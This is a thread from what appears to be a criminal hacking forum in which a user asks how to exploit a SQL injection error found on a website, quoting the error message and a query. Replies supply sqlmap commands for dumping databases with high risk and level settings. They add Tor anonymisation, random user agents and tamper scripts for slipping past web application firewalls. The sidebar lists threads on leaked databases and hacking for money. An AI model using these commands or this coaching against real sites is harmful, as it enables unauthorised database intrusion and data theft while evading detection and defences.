Help sql injection and sqlmap this case?
by liampv - Thursday August 15, 2024 at 01:41 PM
#1
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case
Reply
#2
Can you show the output from such command, try adding verbose with it.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Legend
Reply
#3
Try this
sqlmap -u "victim.com/search/12'" --level=5 --risk=3 -o --dbs --answer="crack=n" --tor --check-tor --tor-type=socks5 --tor-port=9150 --no-cast --random-agent

And try adding --threads=5 and verbose like Intel mention

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Sale of public leaks + attempted scam and manipulation. Shame. | https://breachforums.rs/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#4
(Aug 15, 2024, 01:41 PM)liampv Wrote:
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case

If the error you receive is caused by WAF or you encounter this error after finding the solution, add the following parameter: 

 --tamper="between,randomcase,space2comment"

Good luck / By @rr00ttsec  Cool
Reply
#5
This isn't that easy, every sql server have his own tricks and arguments to use. (except low hanging fruit) Without some details i can't help.

the only thing i can say if you found some entry point use --banner to confirm it isn't a false positive
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,091 188,737 1 hour ago
Last Post: nosiop
  How Hackers Stay COMPLETELY Anonymous [SUPREME GUIDE] GlitchPool 335 9,514 1 hour ago
Last Post: nomadicer
  test PowTest1 0 34 1 hour ago
Last Post: PowTest1
  How to make money with hacking ssrf 1,244 80,673 1 hour ago
Last Post: neymarjr3162
  HACK CCTV Cameras Cracked 23 958 1 hour ago
Last Post: PowTest1

Forum Jump:


 Users browsing this forum: 1 Guest(s)